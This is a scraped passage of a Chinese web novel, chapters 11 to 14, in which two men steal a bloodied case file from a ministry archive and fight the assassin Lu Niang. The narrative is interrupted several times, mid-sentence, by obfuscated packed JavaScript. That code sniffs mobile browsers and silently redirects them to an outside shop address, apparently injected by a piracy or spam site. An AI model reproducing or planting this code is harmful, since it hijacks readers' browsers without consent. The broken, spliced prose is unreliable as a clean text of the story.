崔疑却忽然道:“不要动。” 穆辞川一抬头,便见那轮很圆的月亮之下,那个白衣的人将双手轻轻一撑,像一只逐鱼入水的白鼬,朝着他投过来。 他的眼前、心里,立刻白花花一片,胳膊胡乱一揽,好在揽中了对方冰凉的衣袍,使劲将他的肩膀、胸膛都抱在怀里。 而后“砰”的一声重响,崔疑的双腿砸在了地上。 好在那是一双本就坏了的腿,使他不至于痛到哭叫。 他只是很惊诧地望着穆辞川,道:“你不是说会接住……” 话音未落,远处的几丛灯火晃动起来,值夜的部曲听见动静,喊到:“谁在那里?”而后便是一串很急的脚步声。 “是我。”崔疑放开声道,“不慎跌了一跤,你们不必过来。” “崔小公子?您什么时候来的?”脚步声停顿片刻,又响了起来,部曲道,“沈大人方才传来急令,今夜一切幕宾不许出入衙署,请您回去。” “你装什么装呢。”眼见威胁无用,穆辞川一耸身,将崔疑扛上肩膀,道,“卷宗在哪里。” 崔疑指了指那座顶有鸱尾的石阁。 两人一路被部曲的红灯笼撵着,闯进了石阁。一楼十分宽敞,空无一物,唯有一支楼梯架在东侧的墙角里。 “什么人!官衙重地,滚出去!”梯上传来守阁人下楼的声音,掌中铁棒敲得石头墙面铮铮作响。 前有堵截,后有追兵。崔疑轻声道:“下去。” 穆辞川这才注意到,楼阁西面还有一道通向地下的石梯,尽头幽暗一片,一股墓穴般的寒气从那里渗透出来。 “这底下是……” “不要问。”崔疑冷冷地道,“下去。” 两个部曲已要追到眼前。穆辞川把心一横,扛着崔疑跳下了楼梯。 地下的寒气实在逼人,光线又晦暗不清,他的步子逐渐慢下来,身后却没有了部曲追赶的声响,只能隐隐听见二人交谈道: “崔小公子到楼下去了?” “我听到走路声了,不只他一个人。妈的,我下去看看!” “你要去那里?算了吧,下面又没有出路,我们在这儿守着就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609356|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是了。” 穆辞川听得心里纳闷,甫一走到底,就沉声问崔疑道:“这到底是什么地方,他们为什么不肯追下来。” “哦,也没有什么。”四周太暗,崔疑从腰带上拆下一截夜明石的带板,举在面前,放出幽幽的荧光。 借着微光,穆辞川看出自己的身体正挤在两排高架中间,架上摆满了大木箱子,箱口都盖有棉被,好像豆腐坊一般。隐约还有些发酵的气味散进他的鼻腔里。 崔疑说:“这是殓房。” 穆辞川只觉得浑身的寒毛都要倒竖起来。 “那这些箱子里……” “悬案未决,冤魂未定。”崔疑凑到他耳朵边上,诡声道,“一只箱子,一具死尸。” “啊!”穆辞川正巧踢中了一只木箱,发出一声响,他的人便像个受惊的小狗一样原地弹起。木架刮破了衣服,一粒东西从衣袋里漏了出去。 “呵,你在害怕?”崔疑被他一颠,也跌到了地上,轻笑道,“你不是曾说,刑部的死人都不如你可怖么?现在胆子怎么这样小?——唉呀,这是什么?” “你不要笑我,快想想怎么出去。不如还是我去同他们打一架……”穆辞川粗喘了两口气,才算回过神来,他转身看向崔疑,后半句话却噎在了喉咙里。 崔疑倚在那些箱子之间,一手擎着夜明石,另一手捏着一粒黑邃的小东西,望着他。 是那枚青兔铜符。从穆辞川的衣袋中掉出来,被他捡去了。 “这是南衙十二卫的兵符?是张勉送给你的?”崔疑仍然在笑,目光却比箱子里的死人还要森寒,“方才还说你胆子太小,看来是我错了,你的胆子实在大得很。” “还给我……”穆辞川伸手去抢兔符,却被崔疑一转手腕躲了过去。 他那双灰茫茫的眼睛被夜明石映得泛出碧色,静静地望着穆辞川:“我道你为什么敢同我对着干,原来是手里有了兵。” “与你没有关系,”穆辞川怀揣兵符,本就心里不安,被揭穿后立刻涨红了脸,小声道,“又不是给你的。” “蠢狗。”崔疑冷笑一声,“被人骗了都不自知。” 穆辞川道:“你说什么?” “南衙禁军早在今上继位之时就已裁撤,兵符更是一文不名。张勉是看你不通时事,拿这种东西来蒙你的。你若仍旧想要……” 他二指轻轻一弹,兔符就从那玉觿般的指尖飞了出去,叮当一声,正落在那只木箱里,沿着盖箱的棉被滚进深处。 崔疑翘着唇角,接着道:“自己去捡吧。” 言毕,他就双手一叉,双眼一阖,不再搭理人了。 “你!” 他脾气一时一变,不分场合,穆辞川看得来气,却也知道眼下并非吵架的时候。他还是走到那只箱子边上,深吸口气,紧闭长眼,把手伸向了那团又凉又硬的棉布。 “啊啊啊!” 崔疑就这样不出所料地听见了一声惨叫。 他的脸上不禁浮现出得意的神情,没有睁眼,只是揶揄道:“你就算叫得更凄惨一点,我也不会去帮你的。” “你快看。”穆辞川顾不上反驳,只用力地抓住他的胳膊,道,“快看!” 崔疑感到他的手指在颤抖,这才缓缓将眼睁开一条缝,朝穆辞川悄悄一瞥,那双玉石般美丽的眼睛就再也合不上了。 他看到穆辞川跌坐在地上,而在他的面前,那只大木箱已被掀开,一具身着粉衣的青年尸体端坐在箱子里,一张苍白的脸正对着穆辞川。 12. 尸体在说话 刑部衙署的地室里,穆辞川、崔疑,和一个不知道是人是鬼的青年,在一群木头棺材的环绕下,六目相顾,僵做一团。 穆辞川忽然说:“我懂得那两个部曲为什么不肯下来了,你们的殓房原来闹鬼。” “少见多怪。”崔疑道,可他的眼睛也同样圆圆地睁着,“人死后尸身僵硬,筋骨收缩,能坐起来也不算奇事……” 话没说完,那个粉色衣服的青年就开了口。 他低着头,耷着细眉,扬着一双睫毛很长的眼睛看着穆辞川,用很轻很轻的声音唤道:“主人……” 崔疑的目光就从他的身上移动到了穆辞川的身上,道:“你们认识?” “你不要应他的话。”穆辞川一骨碌站起来,翻手拔出了剑,紧紧盯着那个青年道,“小心被吸走魂魄。” “主人,我不是鬼……”青年也从箱子里爬出来,缩着手脚站着,手心里握着那枚兔符,“我是特意来找您的……” “我明白。冒犯到你,是我不好。”穆辞川道,“你把兵符还给我,我出去后给你烧纸。” 崔疑在他身后悄声说:“你要烧纸,总该先问问他的名字。” “我、我没有名字……”青年叫他问得一个哆嗦,“在南衙的时候,他们叫我殷二十七……” “南衙?”穆辞川瞅瞅他那张羊羔般乖顺的脸,又瞅瞅他手里的兵符,明白过来,“你是南衙的兵?不是说南衙兵已经解散了么?” “是的、是的……都散掉了……”殷二十七的声音更小了下去,“解散的那天,没人想起来通知我,没有把我编进新的队伍里去……潘大人说,我还归南衙统帅。谁的手里有南衙兔符,我就听谁的命令……” 穆辞川慢慢地收回了剑,道:“所以你一直在跟着我。” 殷二十七说:“请您吩咐……” “穆辞川。”崔疑插话道,“叫他上楼去,把卷宗给我们偷出来。” “这个、我……”殷二十七的头垂得更低了,他憋了一会儿,忽然弯腰道起歉来。 “对不起、对不起!”他飞快地鞠了一二十个躬,才道,“我先前听到你们说话,本也想替主人取来卷宗的,但是那里……我拿不到。” 崔疑嗤笑道:“废物。” “你别这么说他。”穆辞川扯扯他的衣角。 “这有什么。”崔疑只道,“你既然已被张勉收买了,总要从他那里拿些好处吧——哦,你是不是很擅长躲藏和逃跑?” 他又看向殷二十七。 青年犹豫半晌,才点头道:“潘大人倒是这么说过……” “那就好办。”崔疑稍稍直起身子,脱下自己的外衣,递给穆辞川,道,“让他穿上。” 穆辞川说:“你打算……” “叫他扮成我的样子,把外面那两个人引走。你我趁机去找卷宗。”崔疑坐了片刻,嫌冷,又命穆辞川把殷二十七身上那件桃粉色的小衫剥下来,两个人交换了衣服。 殷二十七换上白衣,更显得整个人单薄消瘦,毫无血色。他看起来远不满三十岁,却要为了追随一枚值不上几个铜板的兵符,不惜躺进装死人的木头箱里。 他将兔符放回穆辞川手里,对他说:“请您下令。” 一声令下,这个青年就要只身去应付那些部曲。穆辞川握紧了“不愿寒”的剑柄,哑声道:“照他说的做吧。” 殷二十七得了令,转身又卧回木箱,许久没有动静。穆辞川再过去看时,就见箱子已经空了。 他的确有着避影匿形的本事。 穆辞川只感到心里像这只箱子一般,又空又冷。 “你怎么了?”崔疑在他身后发话。 “不怎么。”他转回身,重新将崔疑背起来,踏出几步,忽然又说到,“他若被抓住杀了,你我都是共犯。” 崔疑凉凉地笑道:“我们早就是了。” 星寒夜紫,一轮很圆的白月挂在侍郎府外的天幕上。 沈绣坐在暖阁里,捧着一杯石榴温酒,隔着水晶花窗,望着那轮月亮。 他沉声说:“今天的月很明,是不是?” 鹭娘站在他背后,用一把玉篦为他梳头,随口应道:“因为下过雨。” 沈绣笑了笑。他喜欢让鹭娘梳头,她穿胡装,没有广袖抚得他心乱,唯有鸿爪般的五指轻轻地掠在他的面上。 “鹭娘。”他忽然说,“你有姐姐没有。” 鹭娘的动作停顿片刻,而后轻声说:“有的。” “那么你应该想得到,他得知姐姐受难之后,会做出什么事。”沈绣道,“他会托子慎随他一起去刑部石阁,哪怕把那里翻个底朝天,也要把当年的卷宗找出来。” 他指的当然是穆辞川。 鹭娘道:“你在等他们去。” 沈绣只笑,不回答。 鹭娘又说:“其实他们也不一定就会去的。” 长发束毕,沈绣牵开她的手,转而对着屋角的炭盆屈了屈五指。扶摇正跪伏在那里。 沈绣说:“小扶摇,你来近些。” 扶摇不敢怠慢,向前紧爬了几步,炭灰染黑了他的衣襟。他想他应该问问沈大人的意思,可他没有问出口。 反倒是沈绣问他:“你方才说,将你与子慎迷晕的人,有一只眼睛是坏的,是么?” 扶摇埋着头说:“是的。” “哦,”沈绣了然道,“潘公公。” 扶摇道:“潘公公?” “内侍主监,天子近臣。”沈绣低头轻轻地啜了一口酒,“前朝后宫,数他最会找麻烦。” 扶摇惊讶道:“他是太监?”转念一想,潘勖身材瘦小、嗓音柔细,的确像个太监。就不想再发话了。 可他越是不想说,他的话越是像小兔一样,控制不住地从嗓子眼里往外蹦。 他说:“沈大人,属下有一件事求您。” 沈绣那双分外明亮的眼珠只一偏,利刃般的目光就落在了扶摇身上,神情中仿佛还带着从月色上吸纳而来的寒气。 但他还是柔声说:“请讲吧。” 扶摇又踌躇了半晌,才道:“大人,倘若真的在石阁里抓住穆辞川,倘若……倘若崔公子也在那里,能不能放过他……公子或许是被逼迫的……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609357|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话未说尽,扶摇忽然浑身一抖。一只手抚在了他的后脑上,掌心还带有石榴酒的余温,却叫他从头至尾凉了个透。 “小扶摇。”沈绣笑着说,“没有人能够逼迫他。” 崔疑天缺地损,流落于世,是块谁也琢磨不动的顽璞。 这样的人,何日里碰在石上,粉身碎骨,也不为奇。 扶摇感到一颗泪珠从他的瞳仁间滴下来,落在地上,发出一声脆响。 “小扶摇,我懂得你为什么哭。”沈绣抚摩着手下抖成一团的少年,笑道,“出卖人的感觉是很不好受的,但你承担住了,你做得很好。” 他顿了片刻,指尖的温度就在这片刻间散尽了。 片刻后他冷冷地说:“作为奖励,我会将他的首级赏赐给你,供你追思。” 崔疑坐在石阁里,昂着头,两只眼睛像是死了般一转不转,口里絮絮地不知道在念着什么。 这座石阁自二层以上,再无隔断,围绕四壁打满了通顶的梨木插架,架里的书卷比楼兰的佛窟还要密集。 穆辞川也在望那些架子,他的眼睛倒是很灵活,左边望一下,右边望一下,毫无章法。 没看几眼,他就失去了耐性,道:“这里的书比我一辈子见过的还要多。” 又想了想,他道:“多得多。” 他总算明白为什么殷二十七虽能躲过那些部曲,却仍旧拿不到卷宗。这里藏卷之众,若是一册一册地翻找,只怕三年五载也翻不过来。 不过,三年五载,总还算有迹可循;若是只站在这里看着,那么才是永远也找不到。 穆辞川给崔疑找了个地方放下,自己拍拍手,抽出面前的一卷书帙,小声说:“帮我找找。” 崔疑却没有去翻书,只冷不丁向远处伸手一指,道:“你去看那一卷。” 穆辞川望他一眼,将信将疑地取了他指的书来,展开念道:“元雁二年七月十四,白桥村有贼窃金二十两——不相干。” 崔疑神色不变,又随手指了指高处:“那卷。” 卷藏太高,穆辞川搬了阁里的长梯,费了半天劲取来,见这一卷讲的是陇右有伙方士胡乱行医,治死了人。 崔疑连指了十几份卷宗,有高有矮,有东有西。穆辞川爬上爬下地找,累得沿着面铠向外滴汗,玄衣都被浸得更黑了一些,也没找到一卷有用。 青年有些不悦道:“你若没有主意,就不要指手画脚的。” 崔疑唇角一哂,收回胳膊。他穿着殷二十七的一身粉,像个桃花仙,只是眼神还是如旧地黯然。 他就用这样的眼神望着穆辞川,淡淡道:“取东南十七列,三百八十二层,下排,第四卷。” “……最后一次。”穆辞川受不了他的脸与神情,折身登上了梯子。 他数着数找到崔疑所点的书卷,方一抽出,卷轴上就垂下一枚翡翠签牌,上面用朱笔写着:尚书令裴矫全族伏诛。 他想起崔疑在谢中书府中便提及过河东裴氏。 也记得崔疑说他的长兄曾在尚书台高就。 原来崔疑其实是不姓崔的。 13. 杀你还需单派个人? 一气想通之后,穆辞川尤觉得怒火中烧。他跃下长梯,朝着那个又白又粉的人呵道:“你既知道它放在这里,刚才为什么还要耍我。” 崔疑道:“我本不知道的。” 穆辞川道:“你还装傻。” “现在哪里是装傻的时候。”崔疑的双眼如明月逐舟一般,追随着穆辞川手里的卷宗,他道,“这里的藏书随时都需取用,自然有方便查找的办法,无非是依靠摆放行列、签牌轴头加以分类。只要摸清其中规律,找起来也不算难。” 穆辞川愣了一下,他看看四周的书海,又回头看看崔疑,道:“你方才已摸清这里的规律了?” 崔疑挑一挑眉梢,没有答话。 也不知道他这等头脑,在雍京城中算不算厉害。穆辞川走到那仙子般的人对面,盘腿坐在地上,拉起他的手。 二人四手,覆上那部已陈旧得有些坚硬了的书卷。 穆辞川沉声说:“裴矫是你的哥哥。” 崔疑道:“是我长兄。” “那么他的族人……” 崔疑轻轻地笑了笑,他抚着卷宗,如同伯牙嵇康抚弄他们的宝琴。他说:“当然也就是我的族人。” 他的五指停在那块翠绿的签牌上,牌上的朱砂将他的指尖染得鲜红。 “他们已都在这里了。” 父兄皆没,唯他三世一身,朝生暮死。穆辞川望着他,喉咙滚了滚。 “我知道你想说什么。”崔疑低着头,哑声道,“你想问,既是族灭的重罪,我又为何能够苟活,我……” 他没有说下去,因为穆辞川忽然紧紧地攥住了他的手。 崔疑抬起头,入眼是一副粗拙的眉目,看不透悲喜。 阁外传来一声鸦啼。 “天要亮了。”穆辞川道,“我们还是先看卷宗吧。” 崔疑怔了怔,半晌才道:“好。” 思及案卷里或许记有阿姊的往事,穆辞川的手指也禁不住抖起来。他勉强解开书绳,将覆书的锦缎揭开一个角。 一束银白的光忽然就刺进了他的眼睛里。 他当下按住书卷,身子一侧,只觉鼻梁钝痛非常。面铠上当啷一声响,一枚寸来长的银钉从那里弹开,将精铁的兽面弹出一个深坑。 差不过分毫,这枚钉便要楔进他的额心。 他翻手将卷宗插入腰带,拔剑而起,双眼四下一扫,沉声道:“是谁。” 崔疑的目光也凉了下去,道:“这还需要问么。” 话音未落,便有一道颀长的身影自阁顶腾转而下,胡袍衣摆在空中猎猎做声,如同苍鹭振羽。 鹭娘落在书阁中央,双手握着短钉,冷冷地看着他们。 “我道今日石阁的监管为何如此松懈,原来另有高人镇守。”崔疑仍旧低头坐着,连眼睫都不曾颤动,“沈绣叫你来做什么?” 鹭娘的一双凤眼眯得很细,促声道:“杀人。” 中书府中她曾受命前来救人,今日自然也会受命来杀人。 穆辞川将手里的剑捏得更紧了。 “不怪乎如此。兔死狗烹,也算是他的爱好。”崔疑轻轻地笑了一声,“不知沈大人今天想杀哪个?” 他其实不必问的。穆辞川想,依照潘勖所言,沈绣忌惮“月出”,自然是想杀了自己以绝后患。 鹭娘的目光果然移到他身上,凝望片刻,又缓缓转向了崔疑。 她道:“两个。” 两个? 沈绣打算连崔疑——他自己的幕僚也一同除掉么? 穆辞川的眉拧在一起。 “竟然是这样。”崔疑听了她的话,点了点头,道,“我懂了。” “你又懂什么了?”穆辞川回头看了他一眼,正撞上那双潭水般的眸子。 崔疑也在抬眼看着他,低声说:“他看中的是你手里的南衙兵符。” “这怎么可能?”穆辞川道,“南衙军只剩小殷一个人而已。他要这种兵符有什么用?” “若论调兵遣将,的确是没有用的。”崔疑解释道,“但它的出处世人皆知。倘若你我今日死在这里,在外人看来,不就是内侍派你这个细作来盗取卷宗,杀害了刑部的幕僚,最后又叫刑部衙门给捉住处死了么。” 的确如此。穆辞川想了想,道:“这对沈侍郎有什么好处?” “无他。只是这样一来,他就有道理在明日上朝时举着捡来的兵符,参内侍监一本。”崔疑冷笑道,“他恐怕已等这个机会很久了。” 穆辞川又道:“可他也并不知道张勉赠给我们的就是南衙兵符……” 问到一半,他又把话咽了下去。因为他已想得到,信物是不是兵符,张勉是不是归属内侍,其实并不重要。 重要的是,无论是谁要对刑部不利,沈绣都可以用这办法狠咬一口。 他了然、而又不太了然地点点头。 崔疑的目光就又轻轻地落在鹭娘身上。他道:“我说得对不对?” “我不清楚。”鹭娘蹙起眉道,“你们说完了没有?” 崔疑凉凉地笑了一声:“他连这等谋划都不同你说,未免太不信任你了。欲杀两人,而又只派你一个人前来,也未免太难为你了。” 鹭娘的眉拧得更紧,她看着崔疑,露出很困惑的神情,道:“杀你还需单独派一个人?” “……”崔疑说不出什么来。 话已说尽。 在话的尽头,鹭娘的掌心里脱手而出两枚银钉,射向穆辞川。 穆辞川横剑来挡。两枚钉子一颗打在剑锋上,振得他手掌发麻;另一颗擦着他的颧骨飞过,在颊上又添一道新伤。他方将剑撤下,就见鹭娘的人已出现在他的面前。 她的人竟不比她的飞钉慢出多少。 白刃相接,鹭娘仍旧只使两颗短钉,钉子拈在指缝里,如同猛兽的利爪。击得剑锋吱吱作响。 穆辞川连挥几剑,勉强应付下来。若比出招迅疾,他非鹭娘的对手。思忖片刻,他悄悄向后退出半步,而后身形一掠,长臂一卷,连人带剑落在七八尺外。 鹭娘见他人远了,顷刻便飞出银钉。她的出手永远比她的头脑更快,使她活得不至于非常痛苦。 钉子到了穆辞川面前。他探出左掌,手腕一振,竟将这枚钉子捏在了掌心里。银钉锋锐,将他的手割出血痕。 鹭娘的手却是已经空了。 她扭身再添暗器,“不愿寒”剑已在这须臾间刺到她的咽喉。 天下兵刃,总不过“一寸长一寸强”的道理。 鹭娘神色一暗,沉肩坠肘,白鹤探水般折下身子,险险躲过这一招,面前又是长剑接连劈来。 她尤擅暗器,却失了先手,不免落入下风。偏这时,又有团白花花的东西不知道从哪里撞了出来,直冲向她。 白东西一边冲,还一边轻声叫道:“不要伤我主人……!” 穆辞川不禁叫了声:“小殷。” 是殷二十七。他大概是在外面甩掉了部曲,又跑回来救穆辞川了。 他用的是一柄柳叶窄刀,长不足尺,双手合握,刺向鹭娘左肋。 穆辞川的剑路就轻轻一改,朝她右手边逼去。两路包抄。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609358|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 鹭娘面色一凛,冷叱道:“哪来的小耗子。”随后甩了银钉,徒手钳住殷二十七瘦削的肩膀,使劲一拧,将他整个人拧翻了面。 然后她提起膝盖,露出一只漆黑的六合靴底,猛踢在殷二十七的后心上。殷二十七便惊叫一声,朝着穆辞川的剑刃扑了过去。 穆辞川怔了一下,未容多想,他的左臂已往前一揽,圈住殷二十七的身子,就势拧腰,将他向后推开。 殷二十七就骨碌碌地滚进书卷堆里去了。穆辞川的剑势也缓了下来。 鹭娘看准机会,闪到那柄乌剑旁边,一手捉住剑格,另一手屈起二指,在穆辞川手腕内关穴处狠狠一戳。 穆辞川只觉得右臂的整条筋脉都剧烈地弹动了两下,五指禁不住张开,“不愿寒”落到了鹭娘的手里。 鹭娘将剑一挽,稳稳地立在原地。 穆辞川连退几步,也呆呆地立在原地。 一寸长一寸强者,这回成了鹭娘本人。 崔疑一直在旁坐看着,此刻也沉声道:“当心。” 穆辞川忍不住回道:“江湖人打架时,只靠当心通常是不顶用的。” 崔疑道:“我劝人当心时,通常也只是想让他多动动脑子。” 话音未落,鹭娘已一剑刺出。 “不愿寒”是柄重剑,握在她手中,却显得格外轻巧,遁迹潜行,出神入化。 她的剑法,竟似比她的暗器功法还要高明。 穆辞川脱口而出道:“阿姊!” 崔疑在边上一皱眉,插嘴道:“你这个逢见女子就认姐姐的毛病,何时可以改一改?你又不是第一次见她了。” 穆辞川只叫到:“这是阿姊的剑法!” 他叫得很恳切,鹭娘却并未因此心软。她的剑此时已抵在穆辞川的胸膛上,剑锋刺破衣襟,如游鱼入海一般顺滑。 穆辞川手上没了兵器,浑身寻了一遍,摸到了那颗凉森森的青兔铜符。 他心里不免又气又急,仓促之间,衣袖一甩,把兵符当作暗镖,打了出去。 他的飞镖手法并不好,兵符打出,只显得绵软无力,准头欠缺,贴着鹭娘的鬓发飞去了。 然而就在这一霎时,鹭娘忽然收起了剑招,掠身追向兔符。 她想必也很清楚,南衙兵符是这场构陷的关键。假若兵符有失,崔疑等人死了也只能算作白死。 趁这机会,穆辞川扯下腰间卷宗,向着崔疑用力一掷,道一声:“接着!” 卷宗破空而去,“啪”地一声捏在崔疑的手里。与此同时,鹭娘的剑也回到了穆辞川的咽喉处。 “你不是脑子很好使么!”穆辞川卸下剑鞘,勉强抗下这一刺,冲着崔疑喝道,“我败之前,你将里面的内容都记下来,回去后背给我听!” 想在鹭娘眼皮底下拿走卷宗,恐怕已很困难。唯有先记下内容,再想办法脱身。 “枉费功夫。”鹭娘又一剑劈来,正中鞘身,玄铁剑鞘发出铮铮龙吟。 崔疑接过卷宗,一把展开,冷声道:“你还能撑多久。” “二十招!”穆辞川话音刚落,腰腹上又叫鹭娘“嗤”一声割破一条口子,他改口道,“十招,最多了!” 崔疑于是不再说话,左手持书轴,右手自卷首开始,将已看毕的部分快速卷起。 书卷厚重非常,少说也有一两万字。他的双目动也不动,书帛飞一样从眼前翻过。片刻之间,竟已翻去小半。 毕竟,早在十几年前,裴令君府上的小公子一览十行、过目不忘的本事,就已是雍京城中一件广负盛誉的美谈。 14. 一个字都没有你在看什么 石阁之中,此刻已似乎安静了下来。只是每过一息,便有一声刀剑相接的脆鸣,如同古贤击节长歌。 除此之外,他们的挥剑声、身法声、受伤时的闷哼声、崔疑手中书卷的细响声,都已微不可闻。 就在这诡异的寂静里,鹭娘忽然开口道:“多了。” 穆辞川瞪着她:“什么多了。” “你方才说,还可以撑上十个回合。多了。”剑光之中,鹭娘淡淡地道,“三招足够。” 语毕,她轻轻一挥手,长剑就以一种快得不可思议的速度从乌鞘中间横穿而过,将精铁的剑鞘劈成两半。 “不愿寒”是好剑,好剑自然配有好鞘。这把剑鞘跟随穆辞川奔波多年,从未有过半点刮痕,如今却在眨眼间被一斩两段。 金属断裂的嗡鸣,过了片刻才传进穆辞川的耳朵。 他从未见过这样快的剑。 就在他发愣的时候,鹭娘的手腕只一抖,便挑飞了他手中仅存的半截剑鞘。 她冷冷地道:“两招了。”话音没落,身形又一骤动,第三招已经用出。 穆辞川已无对策,朝着崔疑吼道:“你背完了没有!” 崔疑没抬眼,双眉紧锁着,哑声道:“再忍几招。” “再忍就没命了!”穆辞川嘴上这么说,双手却朝着那白森森的剑刃捉去。 空手夺白刃,少说也要被削掉几根手指。可总比被削掉了脑袋好。 思至此,穆辞川心里一横,手掌猛地攥紧,却什么也没捉到。 他的面前已没有剑了。 他只能看到鹭娘的手在空中虚握着,腕内青筋绷起,“不愿寒”竟似是隐形了一般,不见半点踪影。 是要多快、多奇巧的剑法,才能让人连行迹都捕捉不到? 穆辞川额前的汗热了又冷,而后一股寒气逼入脖颈,这才看清鹭娘的剑锋已刺进了他的喉咙里。 素剑显光,如同明月出云崖。 这是阿姊最为拿手的杀招。 崔疑突然惊叫了一声:“诶呀!” 剑势急停。鹭娘行事谨慎,瞥了崔疑一眼,见他也没有什么异动,便冷冷地道:“你不必担心,他不会感到很痛的。” “我倒也不是在担心他。”崔疑合上了手中的卷宗,轻轻地笑了笑,“我只是觉得,他死之前,倘使不能看上一眼这书里的内容,就实在太可惜了。” “世上可惜的事多了。”鹭娘道,“不差这一件。” “世上值得鹭娘效忠的人也太多了。”崔疑笑道,“也不差沈侍郎一个。” 鹭娘的剑锋又往前递了半寸。穆辞川听见自己的喉结在剑尖上格楞楞地响,一缕鲜血像鱼肠一般,沿着剑槽流出来。 鹭娘道:“你在策反我?” “我想为鹭娘指一条明路嘛。”崔疑眨了眨眼,道,“有这样的本事,却只在侍郎府做一个打手,岂非太屈才了?” 穆辞川皱起眉,不免感觉他的说辞实在有些唐突。长剑在喉,他们属实没有谈判的资本。 “屈才?”鹭娘果然眯缝起眼睛,凉凉地道,“侍郎府的幕僚、部曲,本都是将死之人,靠沈大人救护,才勉强苟全性命,你我皆不例外。你连这个也忘记了么。” “话是这样说。”崔疑道,“不过,倘使他到了自身难保的地步,定然就无法顾全你我了。” 鹭娘神色一变,呵道:“他何曾自身难保过!” 崔疑道:“现在。” 说罢,他伸手轻轻一推,卷宗的轴头便从他的膝盖上滚落下来,一路滚到穆辞川与鹭娘的脚边,平展于地。 穆辞川一低头,便能看到那长余十尺的卷面之上,覆盖着一层铁锈般的赭红色,已无一字可以辨认。 那是血。是浸透了这部卷宗,而后又早已干涸的一层古血。 他不禁失口问:“这不是一个字都没有么?你还看那么久干什么?” “……害你着急,真是抱歉。”崔疑不紧不慢地说,“我方才不过是在想,这些血究竟是谁的。” 鹭娘定了定神,插话道:“自然是死人的。” “你是指裴家的人么?”崔疑冷冷地笑了笑,“他们的确都死了,也的确流了很多血。可他们的血是流不到刑部衙门的藏书阁里的。” 刑部卷宗,自书成而起便不会离开石阁。能够血溅书卷的人,只有衙署的官。 “我记得这件事。”穆辞川忽然道,“张勉说过,刑部曾一夜之间死了好几个高官,是不是那时候……” 喉尖的剑锋在这时颤抖了起来,穆辞川悄悄一望,便见鹭娘的脸色不知何时已全白了。 “想必如此。”崔疑缓缓说着,听不出什么喜怒,“我虽不知他为何要将这桩旧案翻出来,但裴家的事,当年既然能叫刑部上下官吏抵命,如今自然也不会惧一个侍郎。” 他睫羽一闪,双眸已抬起来,盯着鹭娘道:“你的沈大人难道真的以为,杀了我们,便有他的活路了么?” 鹭娘紧紧地咬着牙,没有说话。 崔疑指了指穆辞川,接着道:“这件事说到底是因他而起。你放他走,便不会有人再缠着刑部。倘若我心情好些,帮忙查出屠害了沈绣同僚的真凶……” “不用你查。”鹭娘忽然开口,嗓音非常低哑。 崔疑道:“嗯?” 鹭娘的丹凤眼中闪烁出一点微光,她说:“刑部的官,都是我杀的。” 崔疑说:“什么?” 穆辞川说:“什么?” 凛风拂入石阁。他们三人在阁楼上相对立着,要杀人的仿佛忘了动刀,要被杀的仿佛也忘了逃跑。 鹭娘望了一会儿穆辞川,又望了一会儿崔疑,道:“我那时候给宫里做死士,别人让我杀谁就杀谁,弄不清为什么。” 穆辞川和崔疑都张了张嘴,但是都没有出声。 鹭娘于是道:“你们不信?” “当然不信!”崔疑道,“你杀了刑部那么多人,沈绣还把你留在身边,难道是为了给自己找罪受?” 说完,又冲着穆辞川道:“你信了?” “我……”穆辞川吭哧了一会儿,不知道该说什么。 鹭娘就道:“信不信都随你们。” 鹭娘再也不肯多说。崔疑得不到自己想要的答案,又叫她断了穆月出的一条线索,闷坐着生起气来。 石阁里静了许久。直到街面上传来星星点点的马蹄声,鹭娘忽然撤下了“不愿寒”,插在地上。 “到点卯的时候了。”她背过身,冷声道,“你们要走就快些。” “你为什么现在又肯让我们走了?”崔疑犯了犟,不肯动。 好在穆辞川头脑清醒,他把剑与断鞘都拿破布包裹了收起来,然后溜过去一手捞起崔疑,另一手又去墙角里捞起蜷缩着的殷二十七,向着鹭娘的背影鞠了一躬,便“通通”地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不消片刻,他就笑道:“沿着华阳街向东,已走出三百二十七丈,他们的脚程还真不慢。” 百里听风,千里追形。他生来就有闻声知情的耳力,尤适合缉拿案犯。正因如此,才被破格提拔为刑部六品主事。 “大人。”百里邬倏然睁开眼,问道,“要追么?” 